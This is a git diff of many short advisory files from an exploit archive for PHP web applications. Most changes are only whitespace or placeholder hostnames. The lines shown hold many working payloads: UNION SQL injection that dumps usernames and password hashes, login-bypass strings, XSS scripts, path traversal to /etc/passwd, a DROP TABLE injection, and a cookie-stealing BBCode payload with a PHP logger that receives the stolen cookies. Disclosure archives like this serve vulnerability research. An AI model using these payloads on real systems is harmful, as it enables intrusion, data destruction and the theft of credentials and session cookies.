b/platforms/php/webapps/32571.txt index 856a46aff..5fbdcd770 100755 --- a/platforms/php/webapps/32571.txt +++ b/platforms/php/webapps/32571.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica Software Directory 1.0 is vulnerable; other versions may also be affected. http://www.example.com/showcategory.php?cid=-24/**/UNION/**/ALL/**/SELECT/**/1,concat(version(),0x3a,user()),3,4,5-- -http://www.example.com/signinform.php?msg="><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/signinform.php?msg="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/32575.txt b/platforms/php/webapps/32575.txt index e93d7a034..fe5763a2a 100755 --- a/platforms/php/webapps/32575.txt +++ b/platforms/php/webapps/32575.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to gain administrative access to the affected a SHAADICLONE 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/admin/home.php \ No newline at end of file +http://www.example.com/admin/home.php \ No newline at end of file diff --git a/platforms/php/webapps/32592.txt b/platforms/php/webapps/32592.txt index e129676bc..a3afcc201 100755 --- a/platforms/php/webapps/32592.txt +++ b/platforms/php/webapps/32592.txt @@ -4,4 +4,4 @@ Easyedit is prone to multiple SQL-injection vulnerabilities because it fails to Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/subcategory.php?intSubCategoryID=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())-- \ No newline at end of file +http://www.example.com/subcategory.php?intSubCategoryID=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())-- \ No newline at end of file diff --git a/platforms/php/webapps/32593.txt b/platforms/php/webapps/32593.txt index 2dae4dcb5..31d142ac5 100755 --- a/platforms/php/webapps/32593.txt +++ b/platforms/php/webapps/32593.txt @@ -4,4 +4,4 @@ Easyedit is prone to multiple SQL-injection vulnerabilities because it fails to Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/page.php?intPageID=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())-- \ No newline at end of file +http://www.example.com/page.php?intPageID=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())-- \ No newline at end of file diff --git a/platforms/php/webapps/32594.txt b/platforms/php/webapps/32594.txt index d902f00de..d04e00b86 100755 --- a/platforms/php/webapps/32594.txt +++ b/platforms/php/webapps/32594.txt @@ -4,4 +4,4 @@ Easyedit is prone to multiple SQL-injection vulnerabilities because it fails to Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/news.php?intPageID=-1%20UNION%20SELECT%20concat_ws(0x3a,version(),database(),user())-- \ No newline at end of file +http://www.example.com/news.php?intPageID=-1%20UNION%20SELECT%20concat_ws(0x3a,version(),database(),user())-- \ No newline at end of file diff --git a/platforms/php/webapps/32595.txt b/platforms/php/webapps/32595.txt index 457b6ea1f..291690d97 100755 --- a/platforms/php/webapps/32595.txt +++ b/platforms/php/webapps/32595.txt @@ -4,4 +4,4 @@ Softbiz Classifieds Script is prone to a cross-site scripting vulnerability beca An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/signinform.php?msg=Hacked%20By%20Vahid%20Ezraeil%20At%20North% \ No newline at end of file +http://www.example.com/signinform.php?msg=Hacked%20By%20Vahid%20Ezraeil%20At%20North% \ No newline at end of file diff --git a/platforms/php/webapps/32597.txt b/platforms/php/webapps/32597.txt index 85988437c..24583451e 100755 --- a/platforms/php/webapps/32597.txt +++ b/platforms/php/webapps/32597.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc The following proof of concept is available: username: admin ' or ' 1=1-- -password: anything \ No newline at end of file +password: anything \ No newline at end of file diff --git a/platforms/php/webapps/32600.txt b/platforms/php/webapps/32600.txt index a5bee6767..04ed8e279 100755 --- a/platforms/php/webapps/32600.txt +++ b/platforms/php/webapps/32600.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ACID 1.4.4 is vulnerable; other versions may also be affected. -http://www.example.com/[acid_path]/index.php?p=search&menu=[XSS] \ No newline at end of file +http://www.example.com/[acid_path]/index.php?p=search&menu=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32608.txt b/platforms/php/webapps/32608.txt index 0f4c770bb..5025cb2df 100755 --- a/platforms/php/webapps/32608.txt +++ b/platforms/php/webapps/32608.txt @@ -4,4 +4,4 @@ RakhiSoftware Shopping Cart is prone to multiple remote vulnerabilities. Exploiting these issues can allow attackers to obtain sensitive information, steal cookie data, access or modify data, or exploit latent vulnerabilities in the underlying database. -Set Cookie: PHPSESSID=' \ No newline at end of file +Set Cookie: PHPSESSID=' \ No newline at end of file diff --git a/platforms/php/webapps/32617.txt b/platforms/php/webapps/32617.txt index d79570eef..9312a139f 100755 --- a/platforms/php/webapps/32617.txt +++ b/platforms/php/webapps/32617.txt @@ -4,4 +4,4 @@ Softbiz Classifieds Script is prone to multiple cross-site scripting vulnerabili An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/admin/index.php?msg=&lt;/textarea&gt;<ScRiPt%20%0a%0d>alert(476295881324)%3B</ScRiPt \ No newline at end of file +http://www.example.com/admin/index.php?msg=&lt;/textarea&gt;<ScRiPt%20%0a%0d>alert(476295881324)%3B</ScRiPt \ No newline at end of file diff --git a/platforms/php/webapps/32625.txt b/platforms/php/webapps/32625.txt index 9a09b88c1..a99dad895 100755 --- a/platforms/php/webapps/32625.txt +++ b/platforms/php/webapps/32625.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica http://www.example.com/[Path]/siteadmin/forgot.php -UserName:<script>alert(1369)</script> \ No newline at end of file +UserName:<script>alert(1369)</script> \ No newline at end of file diff --git a/platforms/php/webapps/32634.txt b/platforms/php/webapps/32634.txt index 31d9fb042..376fe3171 100755 --- a/platforms/php/webapps/32634.txt +++ b/platforms/php/webapps/32634.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica Z1Exchange 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/[Path]/showads.php?id=<script>alert(1369)</script> \ No newline at end of file +http://www.example.com/[Path]/showads.php?id=<script>alert(1369)</script> \ No newline at end of file diff --git a/platforms/php/webapps/32636.txt b/platforms/php/webapps/32636.txt index d00b2732b..8a2f28b24 100755 --- a/platforms/php/webapps/32636.txt +++ b/platforms/php/webapps/32636.txt @@ -4,4 +4,4 @@ Orkut Clone is prone to an SQL-injection vulnerability and a cross-site scriptin Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/orkutclone/profile_social.php?id=[sql query] \ No newline at end of file +http://www.example.com/orkutclone/profile_social.php?id=[sql query] \ No newline at end of file diff --git a/platforms/php/webapps/32637.txt b/platforms/php/webapps/32637.txt index 66ead756f..ec25276ad 100755 --- a/platforms/php/webapps/32637.txt +++ b/platforms/php/webapps/32637.txt @@ -4,4 +4,4 @@ Orkut Clone is prone to an SQL-injection vulnerability and a cross-site scriptin Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/profile_social.php?id=%3E%22%3E%3CScRiPt%20%0A%0D%3Ealert(0000)%3B%3C/ScRiPt%3E \ No newline at end of file +http://www.example.com/profile_social.php?id=%3E%22%3E%3CScRiPt%20%0A%0D%3Ealert(0000)%3B%3C/ScRiPt%3E \ No newline at end of file diff --git a/platforms/php/webapps/32640.txt b/platforms/php/webapps/32640.txt index 85c9aba5f..9ca0fae8d 100755 --- a/platforms/php/webapps/32640.txt +++ b/platforms/php/webapps/32640.txt @@ -4,4 +4,4 @@ The 'yappa-ng' program is prone to multiple cross-site scripting vulnerabilities An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/[Path]/?>"'><ScRiPt>alert(1369)</ScRiPt> \ No newline at end of file +http://www.example.com/[Path]/?>"'><ScRiPt>alert(1369)</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/32641.txt b/platforms/php/webapps/32641.txt index f57624807..05ba1b405 100755 --- a/platforms/php/webapps/32641.txt +++ b/platforms/php/webapps/32641.txt @@ -8,4 +8,4 @@ RevSense 1.0 is vulnerable; other versions may also be affected. http://www.example.com/?f%5Bemail%5D=test@mail.com&f%5Bpassword%5D=\"&section=user&action=login http://www.example.com/?section=<ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&action=login&t=Pouya -http://www.example.com/index.php?section=<script>alert(1369)</script>&action=login \ No newline at end of file +http://www.example.com/index.php?section=<script>alert(1369)</script>&action=login \ No newline at end of file diff --git a/platforms/php/webapps/32642.txt b/platforms/php/webapps/32642.txt index fee6a7f2d..a8588e97a 100755 --- a/platforms/php/webapps/32642.txt +++ b/platforms/php/webapps/32642.txt @@ -4,4 +4,4 @@ PHPSTREET Webboard is prone to an SQL-injection vulnerability because it fails t Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/show.php?id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(user,0x3a3a,password),1,1,1,1,1,1/**/FROM/**/mysql.user \ No newline at end of file +http://www.example.com/show.php?id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/1,concat(user,0x3a3a,password),1,1,1,1,1,1/**/FROM/**/mysql.user \ No newline at end of file diff --git a/platforms/php/webapps/32644.txt b/platforms/php/webapps/32644.txt index 457e7acbf..c84f3822c 100755 --- a/platforms/php/webapps/32644.txt +++ b/platforms/php/webapps/32644.txt @@ -193,4 +193,4 @@ avagent:x:116:121:AlienVault Agent,,,:/home/avagent:/bin/false avapi:x:117:121:AlienVault SIEM,,,:/home/avapi:/bin/bash rabbitmq:x:118:123:RabbitMQ messaging server,,,:/var/lib/rabbitmq:/bin/false avforw:x:119:121:AlienVault SIEM,,,:/home/avforw:/bin/false -msf auxiliary(alienvault_isp27001_sqli) > \ No newline at end of file +msf auxiliary(alienvault_isp27001_sqli) > \ No newline at end of file diff --git a/platforms/php/webapps/32645.txt b/platforms/php/webapps/32645.txt index def527fa3..689d347f8 100755 --- a/platforms/php/webapps/32645.txt +++ b/platforms/php/webapps/32645.txt @@ -7,4 +7,4 @@ Successful attacks can compromise the affected application and possibly the unde Enter the following in the application's search box: %SEARCH{ date="P`pr -?`" search="xyzzy" }% -http://www.example.com/twiki/bin/view/Main/WebSearch?search=%25SEARCH%7Bdate%3D%22P%60pr+-%3F%60%22+search%3D%22xyzzy%22%7D%25&scope=all \ No newline at end of file +http://www.example.com/twiki/bin/view/Main/WebSearch?search=%25SEARCH%7Bdate%3D%22P%60pr+-%3F%60%22+search%3D%22xyzzy%22%7D%25&scope=all \ No newline at end of file diff --git a/platforms/php/webapps/32656.txt b/platforms/php/webapps/32656.txt index e31f6dc6d..f5d93cc7a 100755 --- a/platforms/php/webapps/32656.txt +++ b/platforms/php/webapps/32656.txt @@ -9,4 +9,4 @@ Octeth Oempro 3.5.5.1 is vulnerable; other versions may also be affected. The following example input data is available: Email: ' or 0=0 # -Password: password \ No newline at end of file +Password: password \ No newline at end of file diff --git a/platforms/php/webapps/32662.py b/platforms/php/webapps/32662.py index ed9e6158d..17bd3a14c 100755 --- a/platforms/php/webapps/32662.py +++ b/platforms/php/webapps/32662.py @@ -50,7 +50,7 @@ for arg in sys.argv: print "\n|---------------------------------------------------------------|" print "| b4ltazar[@]gmail[dot]com |" print "| 12/2008 WebPhotoPro exploit |" - print "| Usage: webphotopro.py www.server |" + print "| Usage: webphotopro.py www.site.com |" print "| Example: python webphotopro.py www.ere.gov.al |" print "| Visit www.darkc0de.com and www.ljuska.org |" print "|---------------------------------------------------------------|\n" diff --git a/platforms/php/webapps/32671.txt b/platforms/php/webapps/32671.txt index dc12cedf9..809b7cd4c 100755 --- a/platforms/php/webapps/32671.txt +++ b/platforms/php/webapps/32671.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a DO-CMS 3.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?p=%28SQL%29 \ No newline at end of file +http://www.example.com/index.php?p=%28SQL%29 \ No newline at end of file diff --git a/platforms/php/webapps/32672.txt b/platforms/php/webapps/32672.txt index fd253151b..dd459ab60 100755 --- a/platforms/php/webapps/32672.txt +++ b/platforms/php/webapps/32672.txt @@ -4,4 +4,4 @@ EasySiteNetwork Jokes Complete Website is prone to an SQL-injection vulnerabilit Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/joke.php?id=-1992+union+select+1,concat(login,0x3a,password),3,4,5,6,7,8+from+admin_login-- \ No newline at end of file +http://www.example.com/joke.php?id=-1992+union+select+1,concat(login,0x3a,password),3,4,5,6,7,8+from+admin_login-- \ No newline at end of file diff --git a/platforms/php/webapps/3268.txt b/platforms/php/webapps/3268.txt index 02765f321..b7c8d5fd4 100755 --- a/platforms/php/webapps/3268.txt +++ b/platforms/php/webapps/3268.txt @@ -6,7 +6,7 @@ Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs Gr0uP}>> Settings.php:- include_once($pfad_z."scripts/session.php"); ******************************************************************************** -ExPlOiT:-http://www.server/theme/settings.php?pfad_z=[Shell] +ExPlOiT:-http://www.Site.com/theme/settings.php?pfad_z=[Shell] ******************************************************************************** # milw0rm.com [2007-02-05] diff --git a/platforms/php/webapps/32689.txt b/platforms/php/webapps/32689.txt index ed8aa8c36..01bbb53f2 100755 --- a/platforms/php/webapps/32689.txt +++ b/platforms/php/webapps/32689.txt @@ -194,7 +194,7 @@ HTTP_POST_VARS[tel]=Owned%20!! Modify all comment without login/password http:/www.example.com/npds/friend.php?op=SendSite&yname=bill%20gates%20<ex_pdg@microsoft.com>%0ATo:victime@poor.fr%0ASubject%20:%20XP%20SP%203%0A%0ADownload%2 -0last%20SP%203%20for%20Win%20XP%20in%20www.fakewebserver%0A&ymail=ex_pdg@microsoft.com&fname=jfl%0A&fmail=victim2@poor.net +0last%20SP%203%20for%20Win%20XP%20in%20www.fakewebsite.com%0A&ymail=ex_pdg@microsoft.com&fname=jfl%0A&fmail=victim2@poor.net /npds/friend.php Send fake mail, spam diff --git a/platforms/php/webapps/32698.txt b/platforms/php/webapps/32698.txt index 7cbd82e16..5882d29ce 100755 --- a/platforms/php/webapps/32698.txt +++ b/platforms/php/webapps/32698.txt @@ -4,4 +4,4 @@ SolucionXpressPro is prone to an SQL-injection vulnerability because it fails to Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/main.php?id_area=[SQL] \ No newline at end of file +http://www.example.com/main.php?id_area=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/32713.txt b/platforms/php/webapps/32713.txt index 5594c8c6b..7e443f691 100755 --- a/platforms/php/webapps/32713.txt +++ b/platforms/php/webapps/32713.txt @@ -9,4 +9,4 @@ http://www.example.com/modules/tadbook2/open_book.php?book_sn=-5/**/union/**/sel http://www.example.com/modules/tadbook2/open_book.php?book_sn=-1/**/union/**/select/**/version(),2/* -http://www.example.com/modules/tadbook2/open_book.php?book_sn=-10/**/union/**/select/**/version(),2/* \ No newline at end of file +http://www.example.com/modules/tadbook2/open_book.php?book_sn=-10/**/union/**/select/**/version(),2/* \ No newline at end of file diff --git a/platforms/php/webapps/32714.txt b/platforms/php/webapps/32714.txt index 0dc3a09ab..91e63a678 100755 --- a/platforms/php/webapps/32714.txt +++ b/platforms/php/webapps/32714.txt @@ -4,4 +4,4 @@ Visuplay CMS is prone to multiple SQL-injection vulnerabilities because it fails Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/html/news_article.php?press_id=1;DROP%20table%20news;--&nav_id=7 \ No newline at end of file +http://www.example.com/html/news_article.php?press_id=1;DROP%20table%20news;--&nav_id=7 \ No newline at end of file diff --git a/platforms/php/webapps/32718.txt b/platforms/php/webapps/32718.txt index 095082338..59fedf07a 100755 --- a/platforms/php/webapps/32718.txt +++ b/platforms/php/webapps/32718.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br http://www.example.com/index.php?tg=search&pat=%22%3E%3Cscript%20src=http://external-site/thirdparty/scripts/nullcode.js%3E%3C/script%3E -http://www.example.com/index.php?tg=oml&file=download.html&smap_node_id==%22%3E%3Cscript%20src=http://external-site/thirdparty/scripts/nullcode.js%3E%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?tg=oml&file=download.html&smap_node_id==%22%3E%3Cscript%20src=http://external-site/thirdparty/scripts/nullcode.js%3E%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/32724.txt b/platforms/php/webapps/32724.txt index 8c48efbf5..3a27a9c72 100755 --- a/platforms/php/webapps/32724.txt +++ b/platforms/php/webapps/32724.txt @@ -9,4 +9,4 @@ Dark Age CMS 0.2c beta is vulnerable; other versions may also be affected. The following example data is available: Username: x' OR 'x' = 'x'# -Password: anything \ No newline at end of file +Password: anything \ No newline at end of file diff --git a/platforms/php/webapps/32732.txt b/platforms/php/webapps/32732.txt index 6aaf6bc4c..1330c25e0 100755 --- a/platforms/php/webapps/32732.txt +++ b/platforms/php/webapps/32732.txt @@ -4,4 +4,4 @@ Masir Camp is prone to an SQL-injection vulnerability because it fails to suffic Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/?Culture=fa-IR&page=search&SearchKeywords=[SQL] \ No newline at end of file +http://www.example.com/?Culture=fa-IR&page=search&SearchKeywords=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/32733.txt b/platforms/php/webapps/32733.txt index 37511065b..b34dde5ff 100755 --- a/platforms/php/webapps/32733.txt +++ b/platforms/php/webapps/32733.txt @@ -4,4 +4,4 @@ The 'w3bcms' application is prone to an SQL-injection vulnerability because it f Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[Path]/index.php?seite=20%2Egaestebuch&action=[SQL]&id=1 \ No newline at end of file +http://www.example.com/[Path]/index.php?seite=20%2Egaestebuch&action=[SQL]&id=1 \ No newline at end of file diff --git a/platforms/php/webapps/32747.txt b/platforms/php/webapps/32747.txt index a6286bfa5..81862f94f 100755 --- a/platforms/php/webapps/32747.txt +++ b/platforms/php/webapps/32747.txt @@ -18,4 +18,4 @@ sername+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F* Users Password : http://www.example.com/[path]/modules.php?name=Downloads&d_op=Add&title=1&description=1&email=attacker@devil.net&&url=0%2F*%00*/'%20OR%20ascii(substring((select+u -ser_password+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F* \ No newline at end of file +ser_password+from+nuke_users+limit+0,1),1,1))=ascii_code_try%2F* \ No newline at end of file diff --git a/platforms/php/webapps/32757.txt b/platforms/php/webapps/32757.txt index 633005541..60965d605 100755 --- a/platforms/php/webapps/32757.txt +++ b/platforms/php/webapps/32757.txt @@ -10,4 +10,4 @@ An attacker can exploit these issues to execute arbitrary script code within the ConPresso CMS 4.07 is vulnerable; other versions may also be affected. -http://www.example.com/conpresso407/_manual/index.php?ref=http://www.example.com \ No newline at end of file +http://www.example.com/conpresso407/_manual/index.php?ref=http://www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/32759.txt b/platforms/php/webapps/32759.txt index 4b39f027b..78e5a6df6 100755 --- a/platforms/php/webapps/32759.txt +++ b/platforms/php/webapps/32759.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view files and execute local scrip OpenX 2.6.3 is affected; other versions may also be vulnerable. -http://www.example.com/www/delivery/fc.php?MAX_type= ../../../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/www/delivery/fc.php?MAX_type= ../../../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/32760.txt b/platforms/php/webapps/32760.txt index ee2900f86..00dc5fb90 100755 --- a/platforms/php/webapps/32760.txt +++ b/platforms/php/webapps/32760.txt @@ -4,4 +4,4 @@ NewsCMSLite is prone to an authentication-bypass vulnerability because it fails Attackers can exploit this vulnerability to gain unauthorized access to the affected application, which may aid in further attacks. -javascript:document.cookie = "loggedIn=xY1zZoPQ; path=/" \ No newline at end of file +javascript:document.cookie = "loggedIn=xY1zZoPQ; path=/" \ No newline at end of file diff --git a/platforms/php/webapps/32766.txt b/platforms/php/webapps/32766.txt index f373c49a1..b23993c5f 100755 --- a/platforms/php/webapps/32766.txt +++ b/platforms/php/webapps/32766.txt @@ -4,4 +4,4 @@ Autonomy Ultraseek is prone to a remote URI-redirection vulnerability because th A successful exploit may aid in phishing attacks. -http://www.example.com/cs.html?url=http://www.example2.com \ No newline at end of file +http://www.example.com/cs.html?url=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/32770.txt b/platforms/php/webapps/32770.txt index da9754b49..6929efe43 100755 --- a/platforms/php/webapps/32770.txt +++ b/platforms/php/webapps/32770.txt @@ -5,4 +5,4 @@ E-Php B2B Trading Marketplace Script is prone to multiple cross-site scripting v An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. http://www.example.com/b2b/signin.php?errmsg=%3Cscript%3Ealert(1);%3C/script%3E -http://www.example.com/b2b/gen_confirm.php?errmsg=%3Cscript%3Ealert(1);%3C/script%3E \ No newline at end of file +http://www.example.com/b2b/gen_confirm.php?errmsg=%3Cscript%3Ealert(1);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/32773.txt b/platforms/php/webapps/32773.txt index 402f8bb03..8f4d3f014 100755 --- a/platforms/php/webapps/32773.txt +++ b/platforms/php/webapps/32773.txt @@ -4,4 +4,4 @@ Simple Machines Forum is prone to an HTML-injection vulnerability because the ap Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. -[center][size=14pt][url=][/url][/size] [url=javascript:document.write('<iframe width="0%" height="0%" src="http://www.example.com/cookiestealer.php?cookie=' + document.cookie +'"> frameborder="0%">');][img]http://www.example2.com/intl/es_mx/images/logo.gif[/img][/center] PHP Cookie Stealer: <?php $cookie = $_GET['cookie']; $handler = fopen('cookies.txt', 'a'); fwrite($handler, $cookie."\n"); ?> [url=javascript:document.write(unescape(%3Cscript+src%3D%22http%3A%2F%2Fwww.example.com%2Fexploit.js%22%3E%3C%2Fscript%3E))][img]http://www.example2.com/sample.png[/img][/center] \ No newline at end of file +[center][size=14pt][url=][/url][/size] [url=javascript:document.write('<iframe width="0%" height="0%" src="http://www.example.com/cookiestealer.php?cookie=' + document.cookie +'"> frameborder="0%">');][img]http://www.example2.com/intl/es_mx/images/logo.gif[/img][/center] PHP Cookie Stealer: <?php $cookie = $_GET['cookie']; $handler = fopen('cookies.txt', 'a'); fwrite($handler, $cookie."\n"); ?> [url=javascript:document.write(unescape(%3Cscript+src%3D%22http%3A%2F%2Fwww.example.com%2Fexploit.js%22%3E%3C%2Fscript%3E))][img]http://www.example2.com/sample.png[/img][/center] \ No newline at end of file diff --git a/platforms/php/webapps/32777.html b/platforms/php/webapps/32777.html index 9f3d78060..58f3d404e 100755 --- a/platforms/php/webapps/32777.html +++ b/platforms/php/webapps/32777.html @@ -6,4 +6,4 @@ Exploiting this issue may allow the attacker to compromise the application and t MetaBBS 0.11 is vulnerable; other versions may also be affected. -<form method="post" action="http://www.example.com/metabbs/admin/settings/?"> <dl> <dt><label for="settings_admin_password">Admin password</label></dt> <dd><input id="settings_admin_password" size="20" name="settings[admin_password]" value="" type="password" /></dd> <dt><label for="settings_global_header">Header file</label></dt> <dd><input id="settings_global_header" size="30" name="settings[global_header]" value="" type="text" /></dd> <dt><label for="settings_global_footer">Footer File</label></dt> <dd><input id="settings_global_footer" size="30" name="settings[global_footer]" value="" type="text" /></dd> <dt><label for="settings_theme">Site theme</label></dt> <dd><input id="settings_theme" size="30" name="settings[theme]" value="" type="text" /></dd> <dt><label for="settings_default_language">Language</label></dt> <dd> <dd><input id="ettings_default_language" size="30" name="settings[default_language]" value="" type="text" /></dd> <input name="settings[always_use_default_language]" value="0" type="hidden" /><input id="settings_always_use_default_language" name="settings[always_use_default_language]" value="1" type="checkbox" /> <label for="settings_always_use_default_language">Always Use Default Language</label> </dd> <dt><label for="settings_timezone">TimeZone</label></dt> <dd> <dd><input id="settings_timezone" size="30" name="settings[timezone]" value="" type="text" /></dd> </dl> <h2>Advanced Setting</h2> <p><input name="settings[force_fancy_url]" value="0" type="hidden" /> <input id="settings_force_fancy_url" name="settings[force_fancy_url]" value="1" type="checkbox" /> <label for="settings_force_fancy_url">Fancy URL Force Apply</label></p> <p><input type="submit" value="OK" /></p> </form> \ No newline at end of file +<form method="post" action="http://www.example.com/metabbs/admin/settings/?"> <dl> <dt><label for="settings_admin_password">Admin password</label></dt> <dd><input id="settings_admin_password" size="20" name="settings[admin_password]" value="" type="password" /></dd> <dt><label for="settings_global_header">Header file</label></dt> <dd><input id="settings_global_header" size="30" name="settings[global_header]" value="" type="text" /></dd> <dt><label for="settings_global_footer">Footer File</label></dt> <dd><input id="settings_global_footer" size="30" name="settings[global_footer]" value="" type="text" /></dd> <dt><label for="settings_theme">Site theme</label></dt> <dd><input id="settings_theme" size="30" name="settings[theme]" value="" type="text" /></dd> <dt><label for="settings_default_language">Language</label></dt> <dd> <dd><input id="ettings_default_language" size="30" name="settings[default_language]" value="" type="text" /></dd> <input name="settings[always_use_default_language]" value="0" type="hidden" /><input id="settings_always_use_default_language" name="settings[always_use_default_language]" value="1" type="checkbox" /> <label for="settings_always_use_default_language">Always Use Default Language</label> </dd> <dt><label for="settings_timezone">TimeZone</label></dt> <dd> <dd><input id="settings_timezone" size="30" name="settings[timezone]" value="" type="text" /></dd> </dl> <h2>Advanced Setting</h2> <p><input name="settings[force_fancy_url]" value="0" type="hidden" /> <input id="settings_force_fancy_url" name="settings[force_fancy_url]" value="1" type="checkbox" /> <label for="settings_force_fancy_url">Fancy URL Force Apply</label></p> <p><input type="submit" value="OK" /></p> </form> \ No newline at end of file diff --git a/platforms/php/webapps/32779.txt b/platforms/php/webapps/32779.txt index a0cb9b468..8b9e73f70 100755 --- a/platforms/php/webapps/32779.txt +++ b/platforms/php/webapps/32779.txt @@ -9,4 +9,4 @@ Ilch CMS 1.1L and prior versions are vulnerable. The following proof of concept X-Forward-For header is available: http://www.example.com', (select `pass` from prefix_user WHERE `id` > 0 -ORDER BY `id` LIMIT 1)) /* \ No newline at end of file +ORDER BY `id` LIMIT 1)) /* \ No newline at end of file diff --git a/platforms/php/webapps/32783.txt b/platforms/php/webapps/32783.txt index 4b2f39faa..b85531cfe 100755 --- a/platforms/php/webapps/32783.txt +++ b/platforms/php/webapps/32783.txt @@ -7,4 +7,4 @@ Attacker-supplied HTML and script code would execute in the context of the affec FotoWeb 6.0 is vulnerable; other versions may also be affected. http://www.example.com/fotoweb/Grid.fwx?&search=<script>alert("0wn3dâ?)</script> and (FQYFT -contains(JPEG)) \ No newline at end of file +contains(JPEG)) \ No newline at end of file diff --git a/platforms/php/webapps/32792.txt b/platforms/php/webapps/32792.txt index b2de151d0..d34489198 100755 --- a/platforms/php/webapps/32792.txt +++ b/platforms/php/webapps/32792.txt @@ -74,7 +74,7 @@ Update to Orbit Open Ad Server 1.1.1 References: [1] High-Tech Bridge Advisory HTB23208 - https://www.htbridge.com/advisory/HTB23208 - SQL Injection in Orbit Open Ad Server. -[2] Orbit Open Ad Server - http://orbitopenadserver/ - the free, open source ad tool that lets you manage the profits while we manage the technology. +[2] Orbit Open Ad Server - http://orbitopenadserver.com/ - the free, open source ad tool that lets you manage the profits while we manage the technology. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. [5] ImmuniWeb® - https://portal.htbridge.com/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing. diff --git a/platforms/php/webapps/32802.txt b/platforms/php/webapps/32802.txt index b31d5e853..4f37dc391 100755 --- a/platforms/php/webapps/32802.txt +++ b/platforms/php/webapps/32802.txt @@ -6,4 +6,4 @@ Exploiting the issue may allow an attacker to obtain sensitive information that ClipBucket 1.7 is vulnerable; other versions may also be affected. -http://www.example.com/dwnld.php?file=../../../../etc/passwd \ No newline at end of file +http://www.example.com/dwnld.php?file=../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/32803.txt b/platforms/php/webapps/32803.txt index 1457c71bb..b06161308 100755 --- a/platforms/php/webapps/32803.txt +++ b/platforms/php/webapps/32803.txt @@ -5,4 +5,4 @@ A4Desk Event Calendar is prone to an SQL-injection vulnerability because it fail Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[path]/admin/index.php?eventid=-1+union+all+select+1,concat_ws(version(),0x3a,database(),0x3a,user()),3,4,5,6-- \ No newline at end of file 